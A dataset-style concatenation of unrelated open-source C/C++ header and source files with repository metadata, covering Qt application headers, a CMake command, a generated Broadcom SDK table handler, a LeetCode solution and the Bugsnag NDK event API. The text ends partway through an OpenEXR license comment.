2022-01-15T03:03:54.000Z
tree_filter_app/main_window.h
SammyEnigma/TreeReader
d4b426b6341b99535b10067ba19f8dcc3ed90e0a
[ "MIT" ]
null
null
null
tree_filter_app/main_window.h
SammyEnigma/TreeReader
d4b426b6341b99535b10067ba19f8dcc3ed90e0a
[ "MIT" ]
5
2020-03-10T16:37:24.000Z
2021-06-15T03:34:12.000Z
#pragma once #include "filter_editor.h" #include "tree_filter_list_widget.h" #include "dak/QtAdditions/QWidgetScrollListWidget.h" #include "dak/tree_reader/global_commands.h" #include <QtWidgets/qmainwindow.h> class QToolButton; class QAction; class QTreeView; class QDockWidget; class QTimer; class QLineEdit; class QPushButton; class QMdiArea; namespace dak::tree_reader { struct text_tree_t; struct tree_commands_t; } namespace dak::tree_reader::app { using tree_filter_t = tree_reader::tree_filter_t; using tree_filter_ptr_t = tree_reader::tree_filter_ptr_t; using text_tree_ptr_t = tree_reader::text_tree_ptr_t; using global_commands_t = tree_reader::global_commands_t; using undo_stack = tree_reader::undo_stack; using tree_commands_ptr_t = std::shared_ptr<tree_reader::tree_commands_t>; using QWidgetScrollListWidget = QtAdditions::QWidgetScrollListWidget; struct text_tree_sub_window_t; //////////////////////////////////////////////////////////////////////////// // // The main window of the tree filter app. struct main_window_t : QMainWindow { // Create the main window. main_window_t(); protected: // Create the UI elements. void build_ui(); void build_toolbar_ui(); void build_filters_ui(); void build_simple_search_ui(); void build_tabbed_ui(); // Connect the signals of the UI elements. void connect_ui(); // Fill the UI with the intial data. void fill_ui(); void fill_filter_editor_ui(); void fill_available_filters_ui(); // undo / redo tool-bar buttons. void update_undo_redo_actions(); // Closing, loading and saving. void closeEvent(QCloseEvent* ev); bool save_if_required(const QString& action, const QString& actioning); void load_tree(); bool save_filtered_tree(text_tree_sub_window_t* window); // Tab management. void add_text_tree_tab(const tree_commands_ptr_t& newTree); void update_active_tab(); void update_text_tree_tab(); // Current tab. text_tree_sub_window_t* get_current_sub_window(); std::vector<text_tree_sub_window_t*> get_all_sub_windows(); // Main window state. void save_state(); void load_state(); // Tree filtering. void filter_tree(); void verify_async_filtering(); void abort_async_filtering(); void search_in_tree(const QString& text); void search_in_tree(); void push_filter(); void update_create_tab_action(); // filter naming. void name_filter(); void add_named_filter_to_available(const tree_filter_ptr_t& filter); // options. void open_options(); // data. global_commands_t _data; // Toolbar buttons. QAction* _undo_action = nullptr; QToolButton* _undo_button = nullptr; QAction* _redo_action = nullptr; QToolButton* _redo_button = nullptr; QAction* _load_tree_action = nullptr; QToolButton* _load_tree_button = nullptr; QAction* _save_tree_action = nullptr; QToolButton* _save_tree_button = nullptr; QAction* _apply_filter_action = nullptr; QToolButton* _apply_filter_button = nullptr; QAction* _name_filter_action = nullptr; QToolButton* _name_filter_button = nullptr; QAction* _push_filter_action = nullptr; QToolButton* _push_filter_button = nullptr; QAction* _options_action = nullptr; QToolButton* _options_button = nullptr; QPushButton* _edit_search_button = nullptr; // UI elements. QLineEdit* _simple_search = nullptr; filter_editor_t* _filter_editor = nullptr; tree_filter_list_widget_t* _available_filters_list = nullptr; QWidgetScrollListWidget* _available_filters_scroll = nullptr; QTimer* _filtering_timer = nullptr; QMdiArea* _tabs = nullptr; Q_OBJECT; }; } // vim: sw=3 : sts=3 : et : sta :
26.697987
79
0.683761
641626a9251f4e7507ac87709dda05caabc9ce3d
1,652
h
C
meeting-qt/meeting-ui-sdk/models/screen_model.h
GrowthEase/-
5cc7cab95fc309049de8023ff618219dff22d773
[ "MIT" ]
48
2022-03-02T07:15:08.000Z
2022-03-31T08:37:33.000Z
meeting-qt/meeting-ui-sdk/models/screen_model.h
chandarlee/Meeting
9350fdea97eb2cdda28b8bffd9c4199de15460d9
[ "MIT" ]
1
2022-02-16T01:54:05.000Z
2022-02-16T01:54:05.000Z
meeting-qt/meeting-ui-sdk/models/screen_model.h
chandarlee/Meeting
9350fdea97eb2cdda28b8bffd9c4199de15460d9
[ "MIT" ]
9
2022-03-01T13:41:37.000Z
2022-03-10T06:05:23.000Z
/** * @copyright Copyright (c) 2021 NetEase, Inc. All rights reserved. * Use of this source code is governed by a MIT license that can be found in the LICENSE file. */ #ifndef SCREENLISTMODEL_H #define SCREENLISTMODEL_H #include <QAbstractListModel> #include <QQuickImageProvider> #include <vector> class ScreenModel : public QAbstractListModel { Q_OBJECT struct AppProperty { QString strTitle; uint32_t winId = 0; }; public: explicit ScreenModel(QObject* parent = nullptr); ~ScreenModel(); enum ScreenType { kScreenType_Invaild = -1, kScreenType_Screen = 0, kScreenType_App = 1, }; enum { kScreenName = Qt::UserRole, kScreenPointX, kScreenPointY, kScreenWidth, kScreenHeight, kScreenSerialNumber, kScreenType, kScreenAppWinId, kScreenAppWinMinimized, }; // Basic functionality: virtual int rowCount(const QModelIndex& parent = QModelIndex()) const override; virtual QVariant data(const QModelIndex& index, int role = Qt::DisplayRole) const override; virtual QHash<int, QByteArray> roleNames() const override; Q_INVOKABLE void startEnumTopWindow(); Q_INVOKABLE bool windowExist(quint32 id); private: std::vector<AppProperty> m_vectApp; }; class ShareImageProvider : public QQuickImageProvider { public: ShareImageProvider(ScreenModel::ScreenType screenType); virtual QImage requestImage(const QString& id, QSize* size, const QSize& requestedSize) override; private: ScreenModel::ScreenType m_screenType; }; #endif // SCREENLISTMODEL_H
25.030303
105
0.692494
64174090c43d4fff9b4842472de45de56272506f
2,279
h
C
pkgs/tools/cmake/src/Source/cmRemoveCommand.h
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
64
2015-03-06T00:30:56.000Z
2022-03-24T13:26:53.000Z
pkgs/tools/cmake/src/Source/cmRemoveCommand.h
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
12
2020-12-15T08:30:19.000Z
2022-03-13T03:54:24.000Z
pkgs/tools/cmake/src/Source/cmRemoveCommand.h
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
40
2015-02-26T15:31:16.000Z
2022-03-03T23:23:37.000Z
/*========================================================================= Program: CMake - Cross-Platform Makefile Generator Module: $RCSfile: cmRemoveCommand.h,v $ Language: C++ Date: $Date: 2012/03/29 17:21:08 $ Version: $Revision: 1.1.1.1 $ Copyright (c) 2002 Kitware, Inc., Insight Consortium. All rights reserved. See Copyright.txt or http://www.cmake.org/HTML/Copyright.html for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notices for more information. =========================================================================*/ #ifndef cmRemoveCommand_h #define cmRemoveCommand_h #include "cmCommand.h" /** \class cmRemoveCommand * \brief Set a CMAKE variable * * cmRemoveCommand sets a variable to a value with expansion. */ class cmRemoveCommand : public cmCommand { public: /** * This is a virtual constructor for the command. */ virtual cmCommand* Clone() { return new cmRemoveCommand; } /** * This is called when the command is first encountered in * the CMakeLists.txt file. */ virtual bool InitialPass(std::vector<std::string> const& args, cmExecutionStatus &status); /** * This determines if the command is invoked when in script mode. */ virtual bool IsScriptable() { return true; } /** * The name of the command as specified in CMakeList.txt. */ virtual const char* GetName() {return "remove";} /** * Succinct documentation. */ virtual const char* GetTerseDocumentation() { return "Deprecated. Use the list(REMOVE_ITEM ) command instead."; } /** * More documentation. */ virtual const char* GetFullDocumentation() { return " remove(VAR VALUE VALUE ...)\n" "Removes VALUE from the variable VAR. " "This is typically used to remove entries from a vector " "(e.g. semicolon separated list). VALUE is expanded."; } /** This command is kept for compatibility with older CMake versions. */ virtual bool IsDiscouraged() { return true; } cmTypeMacro(cmRemoveCommand, cmCommand); }; #endif
26.195402
77
0.620009
64191bfdc9309dbe75623759e4c64b15012e1e9b
5,444
c
C
sdk-6.5.20/libs/sdklt/bcmlta/bcmltx/bcm56880_a0/dna_4_6_6/bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_xfrm_handler.c
copslock/broadcom_cpri
8e2767676e26faae270cf485591902a4c50cf0c5
[ "Spencer-94" ]
null
null
null
sdk-6.5.20/libs/sdklt/bcmlta/bcmltx/bcm56880_a0/dna_4_6_6/bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_xfrm_handler.c
copslock/broadcom_cpri
8e2767676e26faae270cf485591902a4c50cf0c5
[ "Spencer-94" ]
null
null
null
sdk-6.5.20/libs/sdklt/bcmlta/bcmltx/bcm56880_a0/dna_4_6_6/bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_xfrm_handler.c
copslock/broadcom_cpri
8e2767676e26faae270cf485591902a4c50cf0c5
[ "Spencer-94" ]
null
null
null
/******************************************************************************* * * DO NOT EDIT THIS FILE! * This file is auto-generated by fltg from Logical Table mapping files. * * Tool: $SDK/INTERNAL/fltg/bin/fltg * * Edits to this file will be lost when it is regenerated. * * This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file. * * Copyright 2007-2020 Broadcom Inc. All rights reserved. */ /* Logical Table Adaptor for component bcmltx */ /* Handler: bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_xfrm_handler */ #include <bcmlrd/bcmlrd_types.h> #include <bcmltd/chip/bcmltd_id.h> #include <bcmltx/bcmltx_field_demux.h> #include <bcmdrd/chip/bcm56880_a0_enum.h> #include <bcmlrd/chip/bcm56880_a0/dna_4_6_6/bcm56880_a0_dna_4_6_6_lrd_xfrm_field_desc.h> extern const bcmltd_field_desc_t bcm56880_a0_dna_4_6_6_lrd_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_src_field_desc_s0[]; static const bcmltd_field_desc_t bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_dst_field_desc[2] = { { .field_id = BCMLTD_INTERNAL_FIELD_BASE + 53, .field_idx = 0, .minbit = 112, .maxbit = 123, .entry_idx = 0, .sym = "MEMDB_TCAM_IFTA80_MEM0_0_ONLYm.MASKf.ENTRY0[21:10]", .reserved = 0 }, { .field_id = BCMLTD_INTERNAL_FIELD_BASE + 54, .field_idx = 0, .minbit = 108, .maxbit = 109, .entry_idx = 0, .sym = "MEMDB_TCAM_IFTA80_MEM0_0_ONLYm.MASKf.ENTRY0[7:6]", .reserved = 0 }, }; static const bcmltd_field_list_t bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_src_list_s0 = { .field_num = 2, .field_array = bcm56880_a0_dna_4_6_6_lrd_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_src_field_desc_s0 }; static const bcmltd_field_list_t bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_dst_list_d0 = { .field_num = 2, .field_array = bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_dst_field_desc }; static const uint32_t bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_transform_src_s0[1] = { BCM56880_A0_DNA_4_6_6_L3_IPV4_MULTICAST_DEFIP_TABLEt_VRF_MASKf, }; static const uint32_t bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_transform_dst_d0[2] = { BCMLTD_INTERNAL_FIELD_BASE + 53, BCMLTD_INTERNAL_FIELD_BASE + 54, }; static const bcmltd_generic_arg_t bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_comp_data = { .sid = BCM56880_A0_DNA_4_6_6_L3_IPV4_MULTICAST_DEFIP_TABLEt, .values = 0, .value = NULL, .user_data = NULL }; static const bcmltd_transform_arg_t bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_xfrm_handler_fwd_arg_s0_d0 = { .values = 0, .value = NULL, .tables = 0, .table = NULL, .fields = 1, .field = bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_transform_src_s0, .field_list = &bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_src_list_s0, .rfields = 2, .rfield = bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_transform_dst_d0, .rfield_list = &bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_dst_list_d0, .comp_data = &bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_comp_data }; static const bcmltd_transform_arg_t bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_xfrm_handler_rev_arg_s0_d0 = { .values = 0, .value = NULL, .tables = 0, .table = NULL, .fields = 2, .field = bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_transform_dst_d0, .field_list = &bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_dst_list_d0, .rfields = 1, .rfield = bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_transform_src_s0, .rfield_list = &bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_src_list_s0, .comp_data = &bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_comp_data }; const bcmltd_xfrm_handler_t bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_xfrm_handler_fwd_s0_d0 = { .transform = bcmltx_field_demux_transform, .arg = &bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_xfrm_handler_fwd_arg_s0_d0 }; const bcmltd_xfrm_handler_t bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_xfrm_handler_rev_s0_d0 = { .transform = bcmltx_field_mux_transform, .arg = &bcm56880_a0_dna_4_6_6_lta_bcmltx_field_demux_l3_ipv4_multicast_defip_tablet_vrf_maskf_0_xfrm_handler_rev_arg_s0_d0 };
44.260163
136
0.788758
641980b3a3085db5a223f46c00abc2116f3bac30
129
h
C
include/dbg.h
lavrinenkoa/GPSFire
c3d424868cf1dfa340c9df54f5995196c8205b18
[ "MIT" ]
1
2021-03-03T12:47:54.000Z
2021-03-03T12:47:54.000Z
include/dbg.h
lavrinenkoa/GPSFire
c3d424868cf1dfa340c9df54f5995196c8205b18
[ "MIT" ]
null
null
null
include/dbg.h
lavrinenkoa/GPSFire
c3d424868cf1dfa340c9df54f5995196c8205b18
[ "MIT" ]
1
2021-03-19T05:14:06.000Z
2021-03-19T05:14:06.000Z
#ifndef DBG_H_ #define DBG_H_ void dbg(const char* format, ...); void dbg_serial(const char* format, ...); #endif /* DBG_H_ */
16.125
41
0.666667
641992d5357f6963ad83a6b5ef6ec1c70d05d65d
821
h
C
src/hl/style.h
SammyEnigma/qutepart-cpp
3c5401c7d2856697171c4331099e2fa05ef0c49b
[ "WTFPL" ]
5
2019-11-02T15:36:38.000Z
2021-11-01T21:17:32.000Z
src/hl/style.h
SammyEnigma/qutepart-cpp
3c5401c7d2856697171c4331099e2fa05ef0c49b
[ "WTFPL" ]
1
2021-02-11T23:11:00.000Z
2021-02-11T23:11:00.000Z
src/hl/style.h
SammyEnigma/qutepart-cpp
3c5401c7d2856697171c4331099e2fa05ef0c49b
[ "WTFPL" ]
3
2020-01-29T17:55:34.000Z
2021-12-23T11:38:41.000Z
#pragma once #include <QTextCharFormat> #include <QSharedPointer> namespace Qutepart { class Style { public: Style(); Style(const QString& defStyleName, QSharedPointer<QTextCharFormat> format); /* Called by some clients. If the style knows attribute it can better detect textType */ void updateTextType(const QString& attribute); inline char textType() const {return _textType;}; inline const QSharedPointer<QTextCharFormat> format() const {return _format;} private: QSharedPointer<QTextCharFormat> _format; char _textType; QString defStyleName; }; Style makeStyle( const QString& defStyleName, const QString& color, const QString& /*selColor*/, const QHash<QString, bool>& flags, QString& error); } // namespace Qutepart
22.189189
81
0.693057
641cf5e146af2c913e06120a751800c6f949aaa4
1,176
c
C
leetcode/0628_Maximum_Product_of_Three_Numbers/result.c
theck17/notes
f32f0f4b8f821b1ed38d173ef0913efddd094b91
[ "MIT" ]
null
null
null
leetcode/0628_Maximum_Product_of_Three_Numbers/result.c
theck17/notes
f32f0f4b8f821b1ed38d173ef0913efddd094b91
[ "MIT" ]
null
null
null
leetcode/0628_Maximum_Product_of_Three_Numbers/result.c
theck17/notes
f32f0f4b8f821b1ed38d173ef0913efddd094b91
[ "MIT" ]
null
null
null
/** * Copyright (C) 2021 All rights reserved. * * FileName :result.c * Author :C.K * Email :theck17@163.com * DateTime :2021-10-18 18:38:47 * Description : */ int maximumProduct(int* nums, int numsSize){ int high1=0; int high2=0; int high3=0; int low1=0; int low2=0; int low3=0; int i; for (i=0; i<numsSize; i++) { if (nums[i]>0) if (nums[i]>high3) { high1=high2; high2=high3; high3=nums[i]; } else if (nums[i]>high2) { high1=high2; high2=nums[i]; } else if (nums[i]>high1) high1=nums[i]; if (nums[i]<0) if (nums[i]<low3) { low1=low2; low2=low3; low3=nums[i]; } else if (nums[i]<low2) { low1=low2; low2=nums[i]; } else if (nums[i]<low1) low1=nums[i]; } printf("Highs are %d %d %d and lows are %d %d %d\n", high3, high2, high1, low1, low2, low3); if (high3==0) return low3 * low2 * low1; if ((high3 * low3 * low2) > (high3 * high2 * high1)) return high3 * low3 * low2; else return high3 * high2 * high1; } int main(){ return 0; }
23.52
52
0.505102
6420eba406f4551f1bbe531419e7fa5ff3494106
129
h
C
ros_ws/src/baxter_simulator/baxter_sim_kinematics/include/baxter_sim_kinematics/arm_kinematics.h
mesneym/Baxter-Arm-PP
fdbf86309bc64c31af105daa026b2f8519710129
[ "MIT" ]
null
null
null
ros_ws/src/baxter_simulator/baxter_sim_kinematics/include/baxter_sim_kinematics/arm_kinematics.h
mesneym/Baxter-Arm-PP
fdbf86309bc64c31af105daa026b2f8519710129
[ "MIT" ]
null
null
null
ros_ws/src/baxter_simulator/baxter_sim_kinematics/include/baxter_sim_kinematics/arm_kinematics.h
mesneym/Baxter-Arm-PP
fdbf86309bc64c31af105daa026b2f8519710129
[ "MIT" ]
null
null
null
version https://git-lfs.github.com/spec/v1 oid sha256:7628e08fb60da56a4ec440ffec8590d7254cdcc05133779a12f3649a20dc2814 size 5702
32.25
75
0.883721
6421ce91005beaf0f8fd92bdea782b89ac0f0776
10,314
h
C
bugsnag-plugin-android-ndk/src/main/assets/include/event.h
DarkSlayer6996/bugsnag-android
f6bc90b411e5ad50e77438975c3e8b70cd0720f0
[ "MIT" ]
null
null
null
bugsnag-plugin-android-ndk/src/main/assets/include/event.h
DarkSlayer6996/bugsnag-android
f6bc90b411e5ad50e77438975c3e8b70cd0720f0
[ "MIT" ]
1
2021-03-30T13:53:37.000Z
2021-03-30T13:53:37.000Z
bugsnag-plugin-android-ndk/src/main/assets/include/event.h
DarkSlayer6996/bugsnag-android
f6bc90b411e5ad50e77438975c3e8b70cd0720f0
[ "MIT" ]
null
null
null
#ifndef BUGSNAG_ANDROID_NDK_EVENT_API_H #define BUGSNAG_ANDROID_NDK_EVENT_API_H #include <stdbool.h> #include <sys/types.h> typedef enum { /** An unhandled exception */ BSG_SEVERITY_ERR, /** A handled exception */ BSG_SEVERITY_WARN, /** Custom, notable error messages */ BSG_SEVERITY_INFO, } bugsnag_severity; typedef enum { /** * Any breadcrumb recorded via \link bugsnag_leave_breadcrumb */ BSG_CRUMB_MANUAL, /** * Call to bugsnag_notify*() * (Internal use only) */ BSG_CRUMB_ERROR, /** * Log message */ BSG_CRUMB_LOG, /** * Navigation action, such as an overall change in the application view * context */ BSG_CRUMB_NAVIGATION, /** * Background process, such performing a database query */ BSG_CRUMB_PROCESS, /** * Network request */ BSG_CRUMB_REQUEST, /** * Change in application state */ BSG_CRUMB_STATE, /** * User event, such as authentication or control events */ BSG_CRUMB_USER, } bugsnag_breadcrumb_type; typedef struct { char name[64]; char email[64]; char id[64]; } bugsnag_user; typedef enum { BSG_METADATA_NONE_VALUE, BSG_METADATA_BOOL_VALUE, BSG_METADATA_CHAR_VALUE, BSG_METADATA_NUMBER_VALUE, } bugsnag_metadata_type; typedef struct { uintptr_t frame_address; uintptr_t symbol_address; uintptr_t load_address; uintptr_t line_number; char filename[256]; char method[256]; } bugsnag_stackframe; #ifdef __cplusplus extern "C" { #endif /* Accessors for event.api_key */ /** * Retrieves the event api key * @param event_ptr a pointer to the event supplied in an on_error callback * @return the event api key, or NULL if this has not been set */ char *bugsnag_event_get_api_key(void *event_ptr); /** * Sets the event api key * @param event_ptr a pointer to the event supplied in an on_error callback * @param value the new event api key value, which cannot be NULL */ void bugsnag_event_set_api_key(void *event_ptr, char *value); /* Accessors for event.context */ /** * Retrieves the event context * @param event_ptr a pointer to the event supplied in an on_error callback * @return the event context, or NULL if this has not been set */ char *bugsnag_event_get_context(void *event_ptr); /** * Sets the event context * @param event_ptr a pointer to the event supplied in an on_error callback * @param value the new event context value, which can be NULL */ void bugsnag_event_set_context(void *event_ptr, char *value); /* Accessors for event.app */ /** * Retrieves the binary_arch value reported for this event. * * To obtain a pointer to the bugsnag event you are modifying, you will need to implement an * on_error callback. on_error callbacks are executed from within a signal handler so your implementation must * be async-safe, otherwise the process may terminate before an error report can be captured. * * @param event_ptr - a pointer to the bugsnag event * @return the binary_arch in the event */ char *bugsnag_app_get_binary_arch(void *event_ptr); /** * Sets a new value for the binary_arch value reported for this event. * * To obtain a pointer to the bugsnag event you are modifying, you will need to implement an * on_error callback. on_error callbacks are executed from within a signal handler so your implementation must * be async-safe, otherwise the process may terminate before an error report can be captured. * * @param event_ptr - a pointer to the bugsnag event * @param value - the new value for the binary_arch field (nullable) */ void bugsnag_app_set_binary_arch(void *event_ptr, char *value); char *bugsnag_app_get_build_uuid(void *event_ptr); void bugsnag_app_set_build_uuid(void *event_ptr, char *value); time_t bugsnag_app_get_duration(void *event_ptr); void bugsnag_app_set_duration(void *event_ptr, time_t value); time_t bugsnag_app_get_duration_in_foreground(void *event_ptr); void bugsnag_app_set_duration_in_foreground(void *event_ptr, time_t value); char *bugsnag_app_get_id(void *event_ptr); void bugsnag_app_set_id(void *event_ptr, char *value); bool bugsnag_app_get_in_foreground(void *event_ptr); void bugsnag_app_set_in_foreground(void *event_ptr, bool value); char *bugsnag_app_get_release_stage(void *event_ptr); void bugsnag_app_set_release_stage(void *event_ptr, char *value); char *bugsnag_app_get_type(void *event_ptr); void bugsnag_app_set_type(void *event_ptr, char *value); char *bugsnag_app_get_version(void *event_ptr); void bugsnag_app_set_version(void *event_ptr, char *value); int bugsnag_app_get_version_code(void *event_ptr); void bugsnag_app_set_version_code(void *event_ptr, int value); /* Accessors for event.device */ bool bugsnag_device_get_jailbroken(void *event_ptr); void bugsnag_device_set_jailbroken(void *event_ptr, bool value); char *bugsnag_device_get_id(void *event_ptr); void bugsnag_device_set_id(void *event_ptr, char *value); char *bugsnag_device_get_locale(void *event_ptr); void bugsnag_device_set_locale(void *event_ptr, char *value); char *bugsnag_device_get_manufacturer(void *event_ptr); void bugsnag_device_set_manufacturer(void *event_ptr, char *value); char *bugsnag_device_get_model(void *event_ptr); void bugsnag_device_set_model(void *event_ptr, char *value); char *bugsnag_device_get_os_version(void *event_ptr); void bugsnag_device_set_os_version(void *event_ptr, char *value); long bugsnag_device_get_total_memory(void *event_ptr); void bugsnag_device_set_total_memory(void *event_ptr, long value); char *bugsnag_device_get_orientation(void *event_ptr); void bugsnag_device_set_orientation(void *event_ptr, char *value); time_t bugsnag_device_get_time(void *event_ptr); void bugsnag_device_set_time(void *event_ptr, time_t value); char *bugsnag_device_get_os_name(void *event_ptr); void bugsnag_device_set_os_name(void *event_ptr, char *value); /* Accessors for event.error */ char *bugsnag_error_get_error_class(void *event_ptr); void bugsnag_error_set_error_class(void *event_ptr, char *value); char *bugsnag_error_get_error_message(void *event_ptr); void bugsnag_error_set_error_message(void *event_ptr, char *value); char *bugsnag_error_get_error_type(void *event_ptr); void bugsnag_error_set_error_type(void *event_ptr, char *value); /* Accessors for event.user */ /** * Retrieves the user value reported for this event. The user struct has an ID, email, and name. * * To obtain a pointer to the bugsnag event you are modifying, you will need to implement an * on_error callback. on_error callbacks are executed from within a signal handler so your implementation must * be async-safe, otherwise the process may terminate before an error report can be captured. * * @param event_ptr - a pointer to the bugsnag event * @return the user in the event, represented as a struct */ bugsnag_user bugsnag_event_get_user(void *event_ptr); void bugsnag_event_set_user(void *event_ptr, char* id, char* email, char* name); /* Accessors for event.severity */ bugsnag_severity bugsnag_event_get_severity(void *event_ptr); void bugsnag_event_set_severity(void *event_ptr, bugsnag_severity value); /* Accessors for event.unhandled */ bool bugsnag_event_is_unhandled(void *event_ptr); /* Accessors for event.groupingHash */ char *bugsnag_event_get_grouping_hash(void *event_ptr); void bugsnag_event_set_grouping_hash(void *event_ptr, char *value); /* Accessors for event.metadata */ void bugsnag_event_add_metadata_double(void *event_ptr, char *section, char *name, double value); void bugsnag_event_add_metadata_string(void *event_ptr, char *section, char *name, char *value); void bugsnag_event_add_metadata_bool(void *event_ptr, char *section, char *name, bool value); void bugsnag_event_clear_metadata_section(void *event_ptr, char *section); void bugsnag_event_clear_metadata(void *event_ptr, char *section, char *name); /** * Retrieves the metadata type for a given section and key in this event. * * You should call this method before attempting to call bugsnag_event_get_metadata. If a * value has been set for a given section/name, this method will return one of: * BSG_METADATA_CHAR_VALUE, BSG_METADATA_NUMBER_VALUE, BSG_METADATA_BOOL_VALUE. You should then * call the appropriate bugsnag_event_get_metadata method to retrieve the actual value. * * If no value has been set, this method will return BSG_METADATA_NONE_VALUE. * * To obtain a pointer to the bugsnag event you are modifying, you will need to implement an * on_error callback. on_error callbacks are executed from within a signal handler so your implementation must * be async-safe, otherwise the process may terminate before an error report can be captured. * * @param event_ptr - a pointer to the bugsnag event * @param section - the metadata section key * @param name - the metadata section name * @return the type of the metadata, or BSG_METADATA_NONE_VALUE if no value exists */ bugsnag_metadata_type bugsnag_event_has_metadata(void *event_ptr, char *section, char *name); /** * Retrieves the metadata value for a given section and key in this event. * * Before calling this method you should first check whether a metadata value exists by using * bugsnag_event_has_metadata. If no value exists, a default value will be returned. For numeric * values, the default value will be 0.0. * * To obtain a pointer to the bugsnag event you are modifying, you will need to implement an * on_error callback. on_error callbacks are executed from within a signal handler so your implementation must * be async-safe, otherwise the process may terminate before an error report can be captured. * * @param event_ptr - a pointer to the bugsnag event * @param section - the metadata section key * @param name - the metadata section name * @param value - the value to set on the given key/name */ double bugsnag_event_get_metadata_double(void *event_ptr, char *section, char *name); char *bugsnag_event_get_metadata_string(void *event_ptr, char *section, char *name); bool bugsnag_event_get_metadata_bool(void *event_ptr, char *section, char *name); /* Accessors for event.error.stacktrace */ int bugsnag_event_get_stacktrace_size(void *event_ptr); bugsnag_stackframe *bugsnag_event_get_stackframe(void *event_ptr, int index); #ifdef __cplusplus } #endif #endif
32.742857
110
0.774578
6421fca92c8fb7afa91448740500077a5b9a9164
17,045
h
C
Libraries/FreeImage-3170/Source/OpenEXR/IlmImf/ImfMisc.h
QuaternionMark/COMP371-FinalProject
ac750a5bb4896f4800d8fbc08fac9ef9a002ed44
[ "Zlib" ]
1
2022-03-27T02:56:21.000Z
2022-03-27T02:56:21.000Z
Libraries/FreeImage-3170/Source/OpenEXR/IlmImf/ImfMisc.h
MergeCommits/COMP371-FinalProject
ac750a5bb4896f4800d8fbc08fac9ef9a002ed44
[ "Zlib" ]
null
null
null
Libraries/FreeImage-3170/Source/OpenEXR/IlmImf/ImfMisc.h
MergeCommits/COMP371-FinalProject
ac750a5bb4896f4800d8fbc08fac9ef9a002ed44
[ "Zlib" ]
null
null
null
/////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 